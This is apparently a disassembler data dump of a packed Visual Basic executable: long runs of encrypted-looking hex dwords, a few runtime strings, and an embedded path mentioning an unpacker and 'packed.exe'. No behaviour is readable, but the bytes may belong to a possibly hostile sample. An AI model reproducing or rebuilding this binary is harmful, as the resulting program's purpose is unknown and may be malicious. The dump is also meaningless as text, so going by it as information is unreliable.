0D9F2B0C5h, 0A4A118D4h dd 2A5BC008h, 5515EC8Bh, 0B5B5CB95h, 9612414h, 633A6BA7h dd 0B0591107h, 6ABA124Eh, 0FDB85119h, 487E6809h, 0EA0E5C24h dd 84000007h, 8ADB2BE8h, 2 dup(88D929CEh), 85D626D1h, 10D727D0h dd 1F65F98h, 0B60B1h, 3F85FB0h, 0FF0862B3h, 5F108DAFh dd 1AA9FCFCh, 0BBEF5C34h, 0CB0062AFh, 41D6D8Ah, 9CCD2A2Dh dd 0B241404h dd 75D72434h, 896EE839h, 1BBAEB27h, 0AE05CE6Ah, 2F48061Ah dd 5B9CB990h, 0FA17532Ah, 0F81159AAh, 9968A096h, 59687AB6h dd 112A822Ch, 8DEC8A60h, 480FC61Ch, 0BD1551B3h, 749DCDA4h dd 7A97D324h, 8572E318h, 5BEB46CAh, 39874F6Fh, 759h, 4C9C79F3h dd 50A05DFBh, 52A257FFh, 4F9F5801h, 50A057FEh, 7DD81189h dd 92D92A7Ah, 83D42575h, 93D72878h, 87042676h, 0A9FC6BD6h dd 66D3AB1Ah, 11A0EFAh, 0AE059A50h, 0DFF8B61Ah, 55A56208h dd 0A7B06604h, 0AB680354h, 9CB50D49h, 5D14CFDh, 63211AAEh dd 0A4544A32h, 0BBC5B74h, 1AAE0590h, 52F122E0h, 0B01EEBA1h dd 0DB7E551Ch, 0EAA8F324h, 561DEB2Fh, 0A8F6BE6Fh, 6DDh dd 0C818F577h, 0CC1CE177h, 0CE1EDB7Bh, 0D323DC7Dh, 0D424D382h dd 0F95C950Dh, 0E5DAEFEh, 0F760B101h, 763B404h, 1B98BA0Ah dd 0A9F3F76Ah, 0FA673F1Ah, 0FF42EEF3h, 62D8657Eh, 0F7105A31h dd 0FD0A6095h, 0B04669Bh, 1CF774A9h, 5A4049BAh, 160C8F0Bh dd 43BE6F0Eh, 931C8D3Fh, 900BBCD5h, 0E01C8D3Fh, 501AF122h dd 4EFF9EB7h, 1C8D3FD3h, 5E346523h, 8AF5A645h, 0CA1C8D3Fh dd 0C6BFDB0Ch, 0B8EE0094h, 7, 2E8A26Bh, 0BB550000h, 18743BAFh dd 0E5CFF226h, 0C3352B8Dh, 678B3C55h, 0F11AAEC5h, 0D892E333h dd 5C6A9808h, 0B1092CBEh, 6394C198h, 7FB04712h, 4AFB9A97h dd 1AA90FD7h, 5930611Fh, 0F919D4FCh, 7D7A9483h, 0C48B364h dd 0CA881AA9h, 4092272h, 0A034CC48h, 4AE21398h, 14E571DEh dd 0D9F2A3BCh, 791C8AF1h, 0A6295C2h, 90501AF1h, 53F42910h dd 73A52414h, 0B57E3D96h, 0FFD6EF47h, 3C9E6Bh, 0C2A8F9CFh dd 0E1E6E345h, 33FB179h, 643B6CAEh, 0AEA406F1h, 16B5CE7Ah dd 0CB65C511h, 36B5F7CCh, 0A865753Bh, 5B0C3DD0h, 16DB1071h dd 80FBAC4Bh, 0D00EEAF0h, 0F03DA051h, 0B7750EEAh, 25E32E5Fh dd 7B0EBA6Ah, 3D8B5375h, 58Dh, 78C84527h, 7CCC3127h, 7ECE2B2Bh dd 83D32C2Dh, 84D42332h, 490C45BDh, 5E0D5EAEh, 471061B1h dd 571364B4h, 0CB486ABAh, 0A9F2A71Ah, 0AA17EF1Ah, 4962AFBBh dd 0FC618244h, 642A46Fh, 0BBB4C287h, 0FD6DA28Ah, 0D97DB214h dd 0CE89BE20h, 4D56C729h, 7DABE755h, 6E0279EDh, 23179A16h dd 0F00B4C23h, 4A21528Eh, 197E720h, 0EE014B08h, 10FAh dd 0E3F8FD00h, 40F9B5EDh, 0A2CEBDEEh, 136h, 3D1CF355h dd 0E4163A9Bh, 0D72F3284h, 759BCFA6h, 3BE16E3h, 6314382Bh dd 0EED01EE6h, 88000004h, 86D727E4h, 2 dup(84D525D2h) dd 89DA2AD5h, 14DB2BCCh, 5F2639Ch, 0C0764B5h, 0FEC6BBCh dd 13FC6EBFh, 7324A1C3h, 1AA9F108h, 0BB037048h, 30062AFh dd 0FB48B364h, 0CA881C8Dh, 66A8C299h, 51B30B04h, 34746EF1h dd 8A78E036h, 8DC92BCCh, 0F78DDD35h, 0EE0158FEh, 0DF0h dd 0B3A2A300h, 55000000h, 0ADA2h, 0EFA5500h, 9A50011Ah dd 0B61AAE04h, 8ADADFF8h, 0B9820E3Ch, 968C74A5h, 0A29CBD62h dd 0AE2F8EF1h, 0B008C61Ah, 0A1BA124Eh, 0B01EF4F0h, 0D38E4C1Ch dd 6F560965h, 4AE230F8h, 0E4000004h, 0EA3B8B88h, 2 dup(0E839896Eh) dd 0E5368671h, 70378770h, 6196BFF8h, 60ABC011h, 6398BF10h dd 5FA8C213h, 0BF70ED0Fh, 1AA9F15Ch, 0FA4FBC94h, 0FC011A0Eh dd 8E3F2607h, 1C8D1A13h, 726A563h, 60FF30B4h, 93AEF0AFh dd 0F912D01Ah, 629C3422h, 70D91E47h, 3EBB9DEEh, 0F56B96E6h dd 0B71A93C7h, 0B50656B3h, 0F9F658A1h, 90C13622h, 3D8A0h dd 0EFA5300h, 9A50011Ah, 0B61AAE04h, 949996F8h, 0CDD1C3h dd 254A51Ah, 265793F5h, 95AE9A8Eh, 0BF4C1FF6h, 5C1BDD8Eh dd 82391CB0h, 86CF20D7h, 0E45E1971h, 896F55CBh, 39B73C1h dd 37350000h, 1F398ADAh, 1D398ADAh, 1E3B8CDCh, 154091E1h dd 53CB92E2h, 6CBC3B1Ah, 73C3501Bh, 72C23522h, 70C04921h dd 0BD20D14Eh, 0F51AA9F0h, 54F3B01Dh, 8DFB38A3h, 1493781Ch dd 642CF674h, 0FA92C31Bh, 0C237210Eh, 4EA0516Ah, 21AAE2Fh dd 16542B44h, 1258A9F9h, 87A75FCEh, 0A9526BD6h, 6EEDAB1Ah dd 0E43C128Bh, 8C272CCBh, 9C978EA6h, 74FA6590h, 7C3A1AA9h dd 0BB6D634Bh, 5AC3748Dh, 961C8A8Ah, 4920BFD8h, 0DFB6E710h dd 0DD2E7E8Bh, 2C22848Dh, 164325FCh, 0AFBB364Dh, 0D78D3E57h dd 0A516DB2Eh, 0DE202CE7h, 25ED757Ah, 2ECD7h, 29E68600h dd 2BD088D9h, 2BCC8ADBh, 28CF8ADBh, 29CE87D8h, 619A12D9h dd 62B303F4h, 5DAEFE09h, 5CADFDFAh, 8FB1010Eh, 0F7FE6112h dd 5E361AA9h, 4F1CF3F1h, 0AEBC93C4h, 0E8714861h, 0C1F6DE0Fh dd 0FE1060A9h, 54051E0Ah, 1A93E694h, 8594F6B4h, 1A93E61Eh dd 9E2B0F14h, 0E7E33BA5h, 3597h, 0EFA4A00h, 0CC50011Ah dd 41A93D0h, 10E7E446h, 0EE51B348h, 7816C08Ah, 98176F89h dd 2EB942C7h, 0B5669780h, 1A93714Eh, 0CE5B3F44h, 0E7E2CAD5h dd 0AAC7h, 0AFBB7A00h, 0E4724962h, 0C5FAE213h, 0D0056790h dd 0D60B6D9Ah, 2B7B94h, 1C8DFF4Bh, 0D222EF7Bh, 0BE20E981h dd 0CFE850C8h, 93F3BE1Eh, 0D020DE1Ah, 0C5DE4ABEh, 0A96C7CEEh dd 0D63CF302h, 0DD7CAD05h, 0B3EE142Ch, 34E5641Ch, 10B29EC9h dd 0DAF34B09h, 47A95603h, 643BDA0Bh, 65B606F1h, 2A9546F0h dd 6A10B29Eh, 0BD9954ACh, 506F5369h, 1E73A88h, 0EB810000h dd 0DB7DCE1Eh, 0D97DCE1Eh, 0DA7FD020h, 0D97CCD1Dh, 8F07CE1Eh dd 0A8F8FF56h, 0A7F71457h, 0A6F60156h, 0ACFC1555h, 0E15C0D8Ah dd 311AA9F6h, 9ABBEC59h, 0AEBC0D5Dh, 0FAA81161h, 234210Eh dd 8DFBEE51h, 1068261Ch, 11A72AEh, 93D0CC50h, 0E446041Ah dd 93D06ED5h, 0C136221Ah, 0C82F2A5Fh, 0E8D2B766h, 0E244B7A0h dd 0A43F4EA6h, 0E27789CDh, 0EC6CBD15h, 0EDD5DE0Fh, 0E32A5F58h dd 0B751E7h, 0BB040000h, 0CB0062AFh, 17E4748Ah, 0BF2179B5h dd 8DFF9BB0h, 0D23F2B1Ch, 0C373E2B9h, 8DFEAF12h, 0D129E71Ch dd 0D91E3A6Fh, 0D3283081h, 2E043571h, 0A75D8DDDh, 0BF7EF94Ah dd 978DEF47h, 0ED9EB761h, 1A93BC6Fh, 21D68259h, 97E7A5F0h dd 75A4797Eh, 5010775Ah, 0A791871Fh, 3D18EF8Eh, 0EB1C58BAh dd 0B349813Ah, 3E1AD11Ch, 0C31B57B9h, 7582D3AAh, 7681D425h dd 52C8A5BBh, 72C0886Fh, 0E9h, 0DC2CE983h, 0E030CD8Bh dd 0E232C78Fh, 0DF2FC891h, 0E030C78Eh, 0ED68A119h, 269BA0Ah dd 0F364B505h, 367B808h, 1794B606h, 0A9F5FB66h, 0F6633B1Ah dd 0D5D9ABBh, 1161AEBCh, 4E1CF3A8h, 412A5FC1h, 663D6EC6h dd 74A90B04h, 290019F6h, 2965C730h, 181022F8h, 84DC2137h dd 7C2DCC6Bh, 1C8DFB01h, 0B1629351h, 1AAE0435h, 0B6EB4D0Bh dd 6B425BB4h, 4CAF11EEh, 85888B34h, 0F5267EE2h, 739CCE1Fh dd 29D6835Ah, 0DE0110F8h, 0A030B5Ah, 52A7B14Dh, 0FA5CB4F0h dd 46693C5h, 51908A93h, 87C7BBC4h, 0BDD626E3h, 7876C4B8h dd 5E8F4A94h, 0C426E387h, 0CB2DCA8Fh, 0B1F9E1CAh, 30157B9h dd 945A754h, 0B80959B1h, 0FEF95CB2h, 1A8B587Fh, 8DE59FDAh dd 13DD2Bh, 0DBE00000h, 11388Fh, 4ED40648h, 3415339Ch dd 4FBCABDCh, 64B1BB80h, 749DCD02h, 7D7ADD12h, 8A85E61Bh dd 9562F328h, 0A057FE33h, 0A750093Eh, 0B1461045h, 0B93E1A4Fh dd 5451C257h, 4C18159h, 83000000h, 0C8704E9h, 99685C24h dd 8900001Eh, 7768241Ch, 89000079h, 0B850240Ch, 7E9436DAh dd 0B836F8BBh, 11C38184h, 291E5242h, 11EB81C3h, 581E5242h dd 240C8B54h, 6804C483h, 119Eh, 8F241C89h, 34FF0841h, 0C4815924h dd 4, 52241C8Bh, 0C281E289h, 4, 8704C283h, 0E95C2414h dd 0FFFB34C4h, 46B82B9Eh, 306240Fh, 7CE0FFC5h, 0DA0859A5h dd 0F204FEF7h, 472ABA75h, 2B013788h, 1351E985h, 2E3E23C9h dd 0F946CCBCh, 987C16FAh, 8E52F11Ch, 0DB3F848Fh, 0CC09D4F8h dd 44459126h, 0E86EBC59h, 9104A16Dh, 0FA635A60h, 0F97685B6h dd 8C12D21Eh, 7B7A4808h, 4164BE26h, 8463648Bh, 664795D8h dd 5F510323h, 540FE3F4h, 3B3A16A2h, 213D2E8Eh, 1754F92Bh dd 20405EBh, 5F06B51Ch, 8D721EA0h, 2410DE8Dh, 5820F06h dd 66000000h, 0F006C081h, 23758D89h, 830F061Eh, 6, 2379958Bh dd 85C7061Eh, 61E324Dh, 6038h, 5E8h, 80EC6300h, 958B4481h dd 61E1A89h, 6985C75Ah, 61E31h, 29000000h, 1E1BB595h, 0B5B5FF06h dd 6A061E1Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0ED54C355h, 783B6D29h, 95FF4AA5h dd 61E16B9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 41C35343h, 6917CADh, 22C0662Fh, 6ADF8B66h, 0C195FF00h dd 8B061E26h, 113DEBC0h, 0DF8A2A28h, 5D02926h, 4217614h dd 1404A194h, 0B4DC75D7h, 0A56F8C4Dh, 0FEA14E57h, 4C68524Fh dd 4E647691h, 1C134150h, 8260CA0h, 0B3E0713Dh, 498E568Fh dd 0BC435CFCh, 0BFE32B37h, 12E8h, 15D25C00h, 594C1094h dd 0B03EEE98h, 37AE68F4h, 0E9A154DDh, 7, 0CA50F18Bh, 58097184h dd 8E8h, 0BAC9500h, 0DB22D68Ah, 9E59B9A0h, 815A4EB0h, 6C89C0h dd 0A18D3100h, 0BF061E01h, 2BDA7C13h, 611CEF81h, 8D032BDAh dd 61E03F9h, 0AE9308Bh, 40000000h, 4FDE7509h, 0E92C5432h dd 6FC681D0h, 8917D629h, 1E33B99Dh, 2EEE8106h, 0B9334C08h dd 2FD22615h, 5E5DF681h, 0D8B60279h, 958B3089h, 61E0F19h dd 9835E881h, 0B5891592h, 61E3061h, 9831C081h, 958B1592h dd 61E2B9Dh, 1EF81h, 850F0000h, 0FFFFFFA4h, 1A57CB81h dd 5CE92DFFh, 0C5000001h, 4377E705h, 5F6D5C3Ah, 61706E75h dd 72656B63h, 63617000h, 2E64656Bh, 657865h, 3Ah dup(0) db 0 db 2 dup(0), 33h aCannotFindS_Pl db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 db 0Bh dd 0E97FD3CEh, 1ACFh, 24153568h, 6C59E906h, 4068FFFAh dd 0E9062416h, 0FFFA6C4Fh, 24172A68h, 6C45E906h, 368FFFAh dd 0E9062418h, 0FFFA6C3Bh, 24184968h, 6C31E906h, 1B68FFFAh dd 0E9062419h, 0FFFA6C27h, 24197368h, 6C1DE906h, 0BA68FFFAh dd 0E9062419h, 0FFFA6C13h, 241FC368h, 6C09E906h, 4A68FFFAh dd 0E9062420h, 0FFFA6BFFh, 2420ED68h, 6BF5E906h, 0FC68FFFAh dd 0E9062421h, 0FFFA6BEBh, 24227C68h, 6BE1E906h, 5C68FFFAh dd 0E9062423h, 0FFFA6BD7h, 2423FA68h, 6BCDE906h, 9068FFFAh dd 0E9062424h, 0FFFA6BC3h, 242B0768h, 6BB9E906h, 2868FFFAh dd 0E906242Ch, 0FFFA6BAFh, 242CA368h, 6BA5E906h, 0E879FFFAh dd 1F9DB82Dh, 22C6E156h, 74F30E83h, 981D38ADh, 2D1F60D5h dd 63D89D22h, 8AFFBA48h, 0B52ACF6Fh, 0D94E179Ah, 0BD273DD9h dd 993F48E5h, 0F0730CE4h, 33B64F31h, 0BA3B5472h, 99D348F7h dd 0D2994B61h, 78BD3924h, 422F0AC9h, 0F04B0E24h, 134B3F42h dd 6B5E7FDh, 0A35EE433h, 478C00C1h, 0CFE82498h, 5C88842Dh dd 0FA3306B5h, 16AC8EB5h, 3306B5CAh, 90FF45E2h, 87E3ED92h dd 5B1E3ED5h, 0D2530C0Eh, 3E7B23h, 54C50000h, 16CEE41Ch dd 403924D3h, 0D2E5FFFBh, 2C713924h, 0A07BBE7Dh, 0B62D376Dh dd 8C2B2A89h, 1B4203E5h, 591EE7FDh, 357A3F43h, 323BD53h dd 0EC893307h, 0A43937A6h, 0BBF287E3h, 3C000000h, 0F5BC3B54h dd 0A4A35213h, 0E57E6001h, 8322C540h, 0D7B9E0A1h, 18FABB3Eh dd 0C035FC7Fh, 24D784A8h, 1E9FB839h, 0AADAC5Bh, 0AE344D6Bh dd 0B4CF44F3h, 81637931h, 0D53924CEh, 2E876990h, 2F48660Bh dd 1937E693h, 42DBC603h, 0A0155A3Fh, 0E1FF74C5h, 276E4FCBh dd 7B91C939h, 2CE61569h, 85F9A8EDh, 64092240h, 8C314CC1h dd 7F5827E9h, 0A4A6EC2Bh, 18201Ch, 0F8A53E00h, 21C06883h dd 46EF91ACh, 6E37B6D1h, 9459DEF9h, 0E1ECDE1Fh, 924995Ch dd 2C47BC79h, 5772E78Ah, 98980DD4h, 0E7FEE6FCh, 0A3583F48h dd 2FF273CBh, 0FF1C9FBAh, 0F27A2D10h, 551CA052h, 648BB273h dd 3B541BEFh, 5314F6BBh, 1F54E5A4h, 0A041E801h, 69D42923h dd 6211F69Bh, 83D72E44h, 0A4C13F43h, 57396001h, 3EE7869Fh dd 49F8B93Fh, 72D934Dh, 367C1933h, 0E379C9C7h, 0CA8287h dd 4D660000h, 9D5504A9h, 4F31F073h, 4DA60097h, 0C88F12F2h dd 0F8951A19h, 0AA8CB376h, 24E51814h, 1A04339h, 27CE718Ch dd 0AA4FF009h, 79C019FBh, 0BA2DAF8h, 21AC7D5Eh, 0AB4EEF17h dd 32E108C9h, 43A39336h, 27CAE33Fh, 64039C7Eh, 0F31ADBBDh dd 168BD044h, 568EA4DCh, 330789h, 0EC4D0CBBh, 1CB4F990h dd 60420AE2h, 79D8064h, 6A91D633h, 46D3364Ch, 88CD3928h dd 9AC516Ah, 31F47994h, 2C5DAA6Fh, 1AA2A4ECh, 1715h, 7EF3AE33h dd 0A71CC563h, 0D449E88Ch, 0FE7332B9h, 2A9F42E3h, 4BECF7E9h dd 8C1631A6h, 0BD415CD1h, 0C56883F8h, 0BA7A71Ch, 48E8EFF5h dd 0DAB2673Fh, 45D9F273h, 0BF014501h, 0F00B80A7h, 5B2FA44Dh dd 4F31F073h, 0F1C33B6h, 1FE37B3Ch, 0EA57D61Fh, 0DE997A6Dh dd 0D26742B7h, 0C56A83A1h, 3D537120h, 3F433554h, 9F35175Ch dd 33072641h, 0E5FB336Bh, 330725FFh, 0E0631257h, 7D2D2B9Ah dd 0C2E687E3h, 30000000h, 14CFBD54h, 31C96F7Fh, 0C89FE882h dd 0CCE20071h, 3F438655h, 0BB293F7Bh, 9B330745h, 62B4F600h dd 0E354B77h, 3B770DE7h, 6C07A187h, 7086A4CDh, 648A6A01h dd 1AE12EC5h, 8AE7E661h, 92B4340Dh, 0D6858E47h, 0E23B1D62h dd 0E6FC1A57h, 5E701ACBh, 0A9C2E025h, 0CFEA5F06h, 68C3852Ch dd 66117291h, 162BDC64h, 0B8490000h, 0CF6D88FDh, 1296B126h dd 24C3DE53h, 48ED087Dh, 0FDEF30A5h, 33A84DF2h, 5ACF8A18h dd 85FABF3Fh, 0A91EC76Ah, 0EDF70DA9h, 693F48E9h, 3B54DCB4h dd 5112F4BDh, 6100A3A2h, 0AF30C77Fh, 9CCDDB6Ch, 94A56413h dd 0F9779189h, 587F51C1h, 0E56D243Ah, 26433F42h, 47BCE382h dd 59AFD873h, 48F7A240h, 0A5C3B089h, 42F2928Fh, 0F97B943Fh dd 0D0158938h, 0AC7660F6h, 0C079BA2Fh, 0C65D95B3h, 0C43948C9h dd 0EB24B260h, 0A0E9ED6Ah, 6B0EB0AFh, 0D7B1C0BCh, 7E15B1FBh dd 8CD25752h, 0AF23D277h, 0A2F886Ah, 7C354B69h, 0CAABE0F1h dd 6E1E0433h, 9695830Fh, 0AE6F510Ch, 28468BFFh, 0E4C6730Fh dd 1E567423h, 0DBC6105h, 55CA6B0Eh, 2CEEB73Ah, 5EE345F9h dd 523BC3C5h, 70000015h, 96B126D3h, 0BFDA4F16h, 0E4FF743Dh dd 0C279C45h, 1051C66Bh, 0CF92131Eh, 0F6A33F5Ah, 1DC06681h dd 4BEA8DA8h, 243AD6D6h, 3F48EAC0h, 7309E196h, 5F16DBF0h dd 82E5BC54h, 0F29E995Bh, 6668F86Ah, 150CDEh, 0DC992A00h dd 5AC4C67h, 32F37590h, 5A1BA2BDh, 8025CAE5h, 0CDD8CA0Bh dd 0F5108528h, 203BB06Dh, 4B66DB9Eh, 949409A8h, 0EB02E2F8h dd 9F543F48h, 31F073C7h, 5643F64Fh, 6E2F11CCh, 0DBF12947h dd 3924D309h, 6309084Dh, 0DFF513C2h, 3F4301C2h, 9E54C90Eh dd 0A9CA6FD8h, 0A83A538Bh, 0DF423EEDh, 0F13924C3h, 0F63CD2ACh dd 0B1C9913Bh, 0D28F1388h, 55B22FF0h, 35F705FEh, 306886ADh dd 0CA02E2F8h, 0F54903Fh, 35D84592h, 0DBCB008h, 5D2E6011h dd 72F31096h, 6809B0AFh, 0BC9EC586h, 7F9DD663h, 0C8B33147h dd 5EA38A20h, 405991AFh, 0D89D22BFh, 6510B2B1h, 41F7BAB6h dd 0B4F99042h, 3BFA7D96h, 9108ABC6h, 5F2148EDh, 4344B9D2h dd 3A32BABCh, 58000014h, 7E990ECBh, 0A7C237FEh, 0CCE75C05h dd 0F40F842Dh, 0F839AE73h, 0B77AFB06h, 0DE9B2742h, 5A84E69h dd 33F27590h, 0C22BEBEh, 3F48EBD8h, 76F1C97Eh, 3924D26Eh dd 24E28060h, 6A0B2439h, 0C41C18C7h, 23924D2h, 3924B2DEh dd 0E1A342E5h, 0F86A1B62h, 0E2A22A2Ch, 13h, 2641B663h dd 4F6ADF86h, 748F04ADh, 9CB72CF5h, 0A0E1561Bh, 5F02A3AEh dd 8633CFEAh, 0AD70F611h, 0DB9A1D38h, 0B4CA6666h, 3F48EC30h dd 0B3997126h, 0B9CFED86h, 3F42D754h, 904D0F54h, 42F24C38h dd 139BB840h, 28B90000h, 5FDDF86Dh, 62062196h, 0B4334EC3h dd 0D85D78EDh, 6D5FA015h, 0A318DD62h, 0CA3FFA88h, 0F56A0FAFh dd 198E57DAh, 7D677D19h, 0D93F48EBh, 0F0734C24h, 33B64F31h dd 2A51149Ah, 8E13AF48h, 3E2047EEh, 0AB95DF27h, 71704130h dd 0AA4527CEh, 0FFEBC50Bh, 4B49B8FEh, 481C4D4h, 29h, 0D26A764Eh dd 0D6593924h, 0A3B9F10Fh, 3924D341h, 21C3D915h, 353924D3h dd 0A51AC9F0h, 8047758Dh, 886A39h, 1315h, 31F073CEh, 2E43F64Fh dd 0DF6FFA10h, 0B5F13F42h, 6C7459Fh, 0A5CC1133h, 8FE45530h dd 0F4F25B71h, 548C3924h, 0E897A63Eh, 6C6BB02Ch, 67A29C8h dd 0E48AA3C1h, 0EF9E5F41h, 31F0740Dh, 983DA4BCh, 0E0882CE8h dd 0BB1CC41h, 49EF886Ah, 4245C6A8h, 3A24AFCh, 2F2CCCE5h dd 0A9D33A67h, 49F81F09h, 0FAFEFCD4h, 91B78E01h, 1000001h dd 0CFED86B3h, 42DBB4B9h, 6B730A3Fh, 5597ADh, 3C78EC9Bh dd 67FBE26h, 465C9833h, 33067F9Eh, 254C73B8h, 8B02AA43h dd 24C96DECh, 335A8142h, 8405A3BEh, 9D5E40E1h, 0C3DC9476h dd 0D7D3823Fh, 33069009h, 8F7134BAh, 0D0B273F6h, 21FB4162h dd 893B8120h, 0F2CD42E3h, 0F60C2A47h, 39248A6Bh, 25BEA0E5h dd 4D68DD80h, 6B2305A8h, 280AAB52h, 1FDA6867h, 556E7470h dd 0B8572CE8h, 7A3FC072h, 4F34CB05h, 9CB1FBC4h dd 0E3898837h, 21C76042h, 7D5F1AA8h, 5E7795BCh, 886A19C4h dd 0CBE0407h, 1650C56Ch, 0A7BD79FDh, 2CE82F3Dh, 0CBADD419h dd 0A19F5B0Ah, 0E48E0278h, 234E96ACh, 0C3082CE8h, 0D4833EC4h dd 392Ch, 0F2737600h, 76F8112Fh, 892204B3h, 0DE5F41E4h dd 2DC495DBh, 0DD624066h, 6C029B18h, 971817C6h, 667CB4D2h dd 3924DB7Eh, 119493D8h, 542CA150h, 81C5CB56h, 8F0Fh, 86B35900h dd 0A9D08D15h, 0B63A538Bh, 9D4C0DEFh, 42F028A1h, 0D1B3F83Fh dd 7CF1B038h, 381ADB61h, 7658199Fh, 0FAACF2F5h, 3EA6BC72h dd 183306B7h, 8D54D4D3h, 1B19F166h, 0D487E3F0h, 4Ah, 0FFBD541Eh dd 66A86FA3h, 3EFAB968h, 0C4DD1533h, 0D91F2A21h, 0D76067h dd 8736F7D9h, 2577A98Bh, 26084D39h, 25775090h, 31F07339h dd 6F36B64Fh, 0C3090C8Dh, 0AEF415E9h, 5775FC3Ch, 2575F341h dd 49BE0339h, 73Fh, 52840D00h, 52000000h, 1230F173h, 0CEB075F9h dd 0E37C5E0Dh, 7E23C445h, 8FA8E257h, 0A83C52E8h, 0AE3924D2h dd 94934269h, 126B4D14h, 1029472Ah, 3A1CCB6Eh, 24D33BA4h dd 8CD26F39h, 0C5D41F1Dh, 0A7496281h, 0C6F3F107h, 1E633924h dd 555415F7h, 0BB6312D3h, 0B41h, 0F089B305h, 6E3780Eh dd 22BFC2D0h, 0CF740BDCh, 0C31FB23h, 5B03FB61h, 537A23E6h dd 0EBEAE8A4h, 32A30B70h, 0ED000000h, 0D2F089B3h, 24D328BCh dd 0DCF22E39h, 3924D308h, 0C4E2094Eh, 0D26E768Ch, 0A3E83924h dd 0A7C12F4h, 0EEE298A0h, 9E9C0B51h, 572B39A2h, 23Fh, 0F089B3A1h dd 0C69E3BD2h, 6B0FD5EBh, 2473925h, 0C2F91E85h, 4E805B13h dd 7931F073h, 0C8B64698h, 8184C5C8h, 29h, 0F089B3CBh, 0E41C5438h dd 88842DCBh, 3924D25Ch, 0A06B5FAh, 3924D2D7h, 547C3479h dd 30F17382h, 8407DF78h, 2Fh, 0F089B352h, 0BB3B5438h, 0A45314F6h dd 0D2717086h, 0A1C83924h, 851C54E9h, 858B7B3Bh, 0F4AC5B8Ah dd 7830F173h, 0D0DEBD54h, 0A9C7F74Ch, 548F67FAh, 15F7BA3Bh dd 0EBA9A554h, 404E3AD8h, 6A85FABFh, 0E7001EC7h, 2F4A346h dd 4F41E489h, 0FC1070Ah, 52EBC56Ch, 1406AFh, 9859E047h dd 0D5981DB6h, 2C726FF3h, 349CA52h, 2D07AE51h, 0BD273D75h dd 99240ECDh, 3A6A554h, 892B4462h, 464506E8h, 5E50FFA6h dd 19C840E5h, 37240ECEh, 0B8BB00F2h, 743DC072h, 0B97C019Ah dd 7A95A3D7h, 0C42036E8h, 92240ECDh, 0AB44264Dh, 6C83650Ch dd 0EDCFBAB3h, 6E8F63A5h, 20A34E28h, 0E28728DAh, 9A9C336Dh dd 9FDBC681h, 0D0535201h, 9BE0041Ah, 3176240Eh, 5E78E32h dd 0C7FF1D44h, 0E9C33B1h, 4D149824h, 773ABCD9h, 36AFA150h dd 9BCA17B1h, 4186240Eh, 0CC120F4Fh, 0F4CE971Ah, 0F6EE043Ch dd 60240E9Bh, 0CA6D6C1Bh, 8776D9D5h, 64BF3CE5h, 0E57D7C7Bh dd 0B1F1138h, 225A1439h, 0E53D80Ch, 8A397E24h, 6C0FC107h dd 9C33EBC5h, 7F113461h, 8F8E3D34h, 902745ECh, 7EEA767Eh dd 3B2DDC93h, 3FE68AA3h, 0EEED9C5Dh, 8D2DCC49h, 0E9C6D77h dd 7DA4E924h, 1C1F6456h, 0E08124D6h, 0F073B406h, 74FA1331h dd 6A9154D9h, 6018C788h, 85B34E80h, 0CF37CEECh, 9927BE1h dd 98AF6716h, 0C8C8B646h, 0D30B84C5h, 24D327BDh, 3BEA2F36h dd 3893h, 85B3DD00h, 1C5434ECh, 0D316CEE4h, 0FB403924h dd 0D291504Ch, 7ABF3924h, 738254C2h, 0D60E2CF5h, 0D25C889Eh dd 0B5FA3924h, 24D32BB9h, 37E62B39h, 8407DF7Fh, 1Fh, 0B3BD5452h dd 0AC91B348h, 5FD99847h, 3E545A12h, 3924D2A3h, 54B76F96h dd 2CF57382h, 7607DF74h, 3924E0E8h, 0FD6BC1AFh, 768FFFFFh dd 3924D26Ah, 59CEA399h, 9368881Fh, 0F81D36E0h, 0FFA64A49h dd 0AD4C651Dh, 8B595504h, 6B3924FEh, 0AE52044Ah, 0F1779207h dd 0E50CD558h, 6914AEC7h, 0A217C687h, 1E0071C7h, 7B51A588h dd 0BE04A17Bh, 1BF8514Fh, 1FA0AC4h, 0B6EE0000h, 0CEA344A0h dd 3DE487F6h, 0E1269A5Bh, 6B767A32h, 9A3924D2h, 9EB4D29Fh dd 3F42FF3Fh, 344FC409h, 760FF1B0h, 0F8112FF6h, 1E00AF6Ah dd 5C3EE785h, 0FD0E0DA4h, 7ECBC87Ch, 482910CFh, 5F9D142Ah dd 36533924h, 8CAF1ACh, 0EC2D90C7h, 926DF5F7h, 0B000000Dh dd 0D6F16613h, 0FF1A8F56h, 243FB47Dh, 4C67DC85h, 509106ABh dd 0FD2535Eh, 36E37F9Ah, 5D00A6C1h, 8B2ACDE8h, 647A1616h dd 3F48F180h, 734921D6h, 0FD659F0h, 8CAD06E8h, 0F32C9E7h dd 0ED43753h, 0E9FF1DCCh, 3F492E11h, 6914AEC7h, 0E30146BAh dd 0A7F26CAh, 0C2A44DEFh, 0C9898629h, 4F464172h, 0E713F114h dd 0D0325A6Ah, 0A28431D1h, 7FD8BAE1h, 859BB9BAh, 391FCDF0h dd 68814388h, 62EC28D4h, 0D0BD860h, 98290000h, 0AF4D68DDh dd 0F2769106h, 4A3BE33h, 28CDE85Dh, 0DDCF1085h, 13882DD2h dd 3AAF6AF8h, 65DA9F1Fh, 89FEA74Ah, 0DD7ED89h, 493F48F3h dd 0F073BC94h, 0A47C1331h, 6A29E446h, 0D52E10BFh, 0B9F10F64h dd 20C16881h, 250DC024h, 0A2519639h, 431147A6h, 67DC213Fh dd 9308A94Ch, 0D2F081B8h, 2B1E49BCh, 0EC0A4F39h, 1B9051D3h dd 0D3B57C00h, 0BFF7B73Ah, 0E2F83BA9h, 0DAD61B2Ch, 2CE2F80Ah dd 0FEE0074Ch, 0C1DF94A5h, 129CAABh, 0B6CC0433h, 26C4C72Eh dd 0C034E328h, 3042B97Bh, 8A8CE60Ah, 0C6802h, 40FD8600h dd 6908B0CBh, 8E57D9F4h, 0B67FFE19h, 0DC812641h, 29342667h dd 516CE184h, 748F04B1h, 9FBA2FF2h, 0E0E0551Ch, 0F2B62E44h dd 0EBA03F48h, 31F07313h, 5643F64Fh, 6C2D0FD6h, 649306EFh dd 83AAA044h, 0CB524F65h, 3DD43F43h, 0EE4BBEDBh, 8F03B27Fh dd 829BD54Ah, 965739FCh, 5F826278h, 8FD43307h, 445BE1E0h dd 0DF6470F4h, 0E55A81E0h, 617F26CAh, 1F01A048h, 663AAF5Eh dd 